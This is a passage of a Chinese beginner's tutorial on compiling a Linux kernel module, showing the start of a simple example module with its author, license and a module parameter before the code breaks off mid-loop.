linux 模块编译步骤(原) 本文将直接了当的带你进入linux的模块编译。当然在介绍的过程当中,我也会添加一些必要的注释,以便初学者能够看懂。之所以要写这篇文章,主要是因为从书本上学的话,可能要花更长的时间才能学会整个过程,因为看书的话是一个学习过程,而我这篇文章更像是一个培训。所以实践性和总结性更强。通过本文你将会学到编译一个模块和模块makefile的基本知识。以及加载(卸载)模块,查看系统消息的一些知识; 声明:本文为初学者所写,如果你已经是一个linux模块编译高手,还请指正我文章中的错误和不足,谢谢 第一步:准备源代码 首先我们还是要来编写一个符合linux格式的模块文件,这样我们才能开始我们的模块编译。假设我们有一个源文件mymod.c。它的源码如下: mymodules.c 1. #include /* 引入与模块相关的宏*/ 2. #include /* 引入module_init() module_exit()函数*/ 3. #include /* 引入module_param() */ 4 5. MODULE_AUTHOR("Yu Qiang"); 6. MODULE_LICENSE("GPL"); 7 8. static int nbr = 10; 9. module_param(nbr, int, S_IRUGO); 10. 11. static int __init yuer_init(void) 12.{ 13. int i; 14. for(i=0; i

相关主题
文本预览
相关文档 最新文档